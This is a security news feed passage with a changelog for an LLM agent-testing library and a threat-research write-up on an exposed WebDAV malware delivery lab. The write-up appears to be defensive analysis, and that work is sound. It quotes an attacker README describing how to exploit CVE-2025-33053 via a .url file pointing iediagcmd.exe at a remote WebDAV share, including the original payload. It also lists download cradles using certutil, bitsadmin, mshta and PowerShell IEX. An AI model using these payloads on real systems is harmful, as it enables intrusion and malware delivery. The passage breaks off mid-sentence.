<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
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<title><![CDATA[python: v0.7.32]]></title>
<description><![CDATA[0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
...]]></description>
<link>https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:58 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.31...python/v0.7.32">0.7.32</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639907852" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/660" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/660/hovercard" href="https://github.com/langwatch/scenario/issues/660">#660</a>:</strong> expose context param on scenario.judge() public API (<a href="https://github.com/langwatch/scenario/issues/667" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/667/hovercard">#667</a>) (<a href="https://github.com/langwatch/scenario/commit/900f3d866d5787a015780965e9de4f518b753ad7">900f3d8</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650318823" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/666" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/666/hovercard" href="https://github.com/langwatch/scenario/issues/666">#666</a>:</strong> per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (<a href="https://github.com/langwatch/scenario/issues/670" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/670/hovercard">#670</a>) (<a href="https://github.com/langwatch/scenario/commit/007a69faff6f33b9b5a6e9d4f811e9e2d8c81fdd">007a69f</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
<li><strong>tracing:</strong> stamp scenario SDK name+version as trace attributes (<a href="https://github.com/langwatch/scenario/issues/744" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/744/hovercard">#744</a>) (<a href="https://github.com/langwatch/scenario/issues/745" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/745/hovercard">#745</a>) (<a href="https://github.com/langwatch/scenario/commit/43dd4fae3b439561b9ff196a9c0297968c1ae607">43dd4fa</a>)</li>
<li><strong>voice:</strong> continuous ElevenLabs mic pump + is_connected guard (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice A) (<a href="https://github.com/langwatch/scenario/issues/741" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/741/hovercard">#741</a>) (<a href="https://github.com/langwatch/scenario/commit/b6e7f93c43fee650c0fe37f27153a4805f3e7eb8">b6e7f93</a>)</li>
<li><strong>voice:</strong> harvest voice result fields on exit paths + concrete typing (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice E) (<a href="https://github.com/langwatch/scenario/issues/742" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/742/hovercard">#742</a>) (<a href="https://github.com/langwatch/scenario/commit/439b7be5bb02c9fa9ebf56ef71f76537e043ffde">439b7be</a>)</li>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
<li><strong>voice:</strong> realtime_langwatch_session context manager for live OpenAI Realtime apps (<a href="https://github.com/langwatch/scenario/issues/673" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/673/hovercard">#673</a>) (<a href="https://github.com/langwatch/scenario/issues/676" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/676/hovercard">#676</a>) (<a href="https://github.com/langwatch/scenario/commit/e89d00c344eeac18a8673eb974d905afa14014b4">e89d00c</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654909090" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/161" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/161/hovercard" href="https://github.com/langwatch/scenario/issues/161">#161</a>:</strong> re-parse criteria when LLM returns stringified JSON dict (<a href="https://github.com/langwatch/scenario/issues/552" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/552/hovercard">#552</a>) (<a href="https://github.com/langwatch/scenario/commit/b8198493aa638f0c31821050d7d4502b08e5f88e">b819849</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485409944" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/488" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/488/hovercard" href="https://github.com/langwatch/scenario/issues/488">#488</a>:</strong> log voice adapter and ffmpeg disconnect failures at WARNING (<a href="https://github.com/langwatch/scenario/issues/556" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/556/hovercard">#556</a>) (<a href="https://github.com/langwatch/scenario/commit/86bf4662c0a5f16ec23c25a11ea78368d39bff26">86bf466</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634746372" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/655" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/655/hovercard" href="https://github.com/langwatch/scenario/issues/655">#655</a>:</strong> replace brittle judge criteria with generic behavioral criteria in audio examples (<a href="https://github.com/langwatch/scenario/issues/679" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/679/hovercard">#679</a>) (<a href="https://github.com/langwatch/scenario/commit/732d426ae4865c8027fb03182cf8211461c11514">732d426</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647094960" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/664" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/664/hovercard" href="https://github.com/langwatch/scenario/issues/664">#664</a>:</strong> transcribe agent turns at runtime so the voice user simulator can read them (<a href="https://github.com/langwatch/scenario/issues/665" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/665/hovercard">#665</a>) (<a href="https://github.com/langwatch/scenario/commit/4b99682bee8ca6820537a100551ec83e97bcd89f">4b99682</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>python:</strong> derive scenario.<strong>version</strong> from package metadata (<a href="https://github.com/langwatch/scenario/issues/800" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/800/hovercard">#800</a>) (<a href="https://github.com/langwatch/scenario/commit/0d505a7cfcc9467821ed61119f291944b626cc7f">0d505a7</a>)</li>
<li><strong>security:</strong> bump pyjwt to 2.13.0 (<a href="https://github.com/langwatch/scenario/issues/677" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/677/hovercard">#677</a>) (<a href="https://github.com/langwatch/scenario/commit/00807b770ad997a12ca1c10418e409e6f0cdf44b">00807b7</a>)</li>
<li><strong>security:</strong> bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (<a href="https://github.com/langwatch/scenario/issues/685" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/685/hovercard">#685</a>) (<a href="https://github.com/langwatch/scenario/commit/ee9a5d5f2d1c55b23e122dbdb138d82d38ab861c">ee9a5d5</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485412046" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/491" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/491/hovercard" href="https://github.com/langwatch/scenario/issues/491">#491</a>:</strong> diagnose + resolve multi-turn <a href="https://github.com/e2e">@e2e</a> suite-wedge + tighten VAD tests (<a href="https://github.com/langwatch/scenario/issues/694" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/694/hovercard">#694</a>) (<a href="https://github.com/langwatch/scenario/commit/2dfc381df3c27f073706e5aed56d6852a9d8ebf0">2dfc381</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487734199" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/498" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/498/hovercard" href="https://github.com/langwatch/scenario/issues/498">#498</a>:</strong> surface recv-loop termination as attributable PipecatRecvError (<a href="https://github.com/langwatch/scenario/issues/692" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/692/hovercard">#692</a>) (<a href="https://github.com/langwatch/scenario/commit/c1f552cac4845654a57b27c5f705f61c3a3951cc">c1f552c</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
<li><strong>voice/ts:</strong> explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (<a href="https://github.com/langwatch/scenario/issues/596" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/596/hovercard">#596</a>) (<a href="https://github.com/langwatch/scenario/commit/795ae8eb7e672e180fea6a657d472e566431883b">795ae8e</a>)</li>
<li><strong>voice:</strong> guard response.create on active response in recv_audio (<a href="https://github.com/langwatch/scenario/issues/659" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/659/hovercard">#659</a>) (<a href="https://github.com/langwatch/scenario/commit/5e844ea73f39473f39fe70516c53762437263be1">5e844ea</a>)</li>
<li><strong>voice:</strong> hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (<a href="https://github.com/langwatch/scenario/issues/643" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/643/hovercard">#643</a>) (<a href="https://github.com/langwatch/scenario/commit/aae16beec4d5b74ee331c29ad960c43632434da0">aae16be</a>)</li>
<li><strong>voice:</strong> skip Twilio e2e fixtures on absent env, not fail (<a href="https://github.com/langwatch/scenario/issues/798" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/798/hovercard">#798</a>) (<a href="https://github.com/langwatch/scenario/commit/4c883d00a4c1155feedeb8c8638b4ece30931613">4c883d0</a>)</li>
<li><strong>voice:</strong> terminate wait=False test drain on end-of-turn, re-enable in CI (<a href="https://github.com/langwatch/scenario/issues/691" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/691/hovercard">#691</a>) (<a href="https://github.com/langwatch/scenario/commit/022056dc3621412256904bc8ddca930baafb2033">022056d</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li><strong>voice:</strong> drop references to a docs/proposals tree that never landed (<a href="https://github.com/langwatch/scenario/issues/613" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/613/hovercard">#613</a>) (<a href="https://github.com/langwatch/scenario/issues/823" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/823/hovercard">#823</a>) (<a href="https://github.com/langwatch/scenario/commit/0ef4314fef19d76013a3dbc56f7667b73a7a9dc9">0ef4314</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used 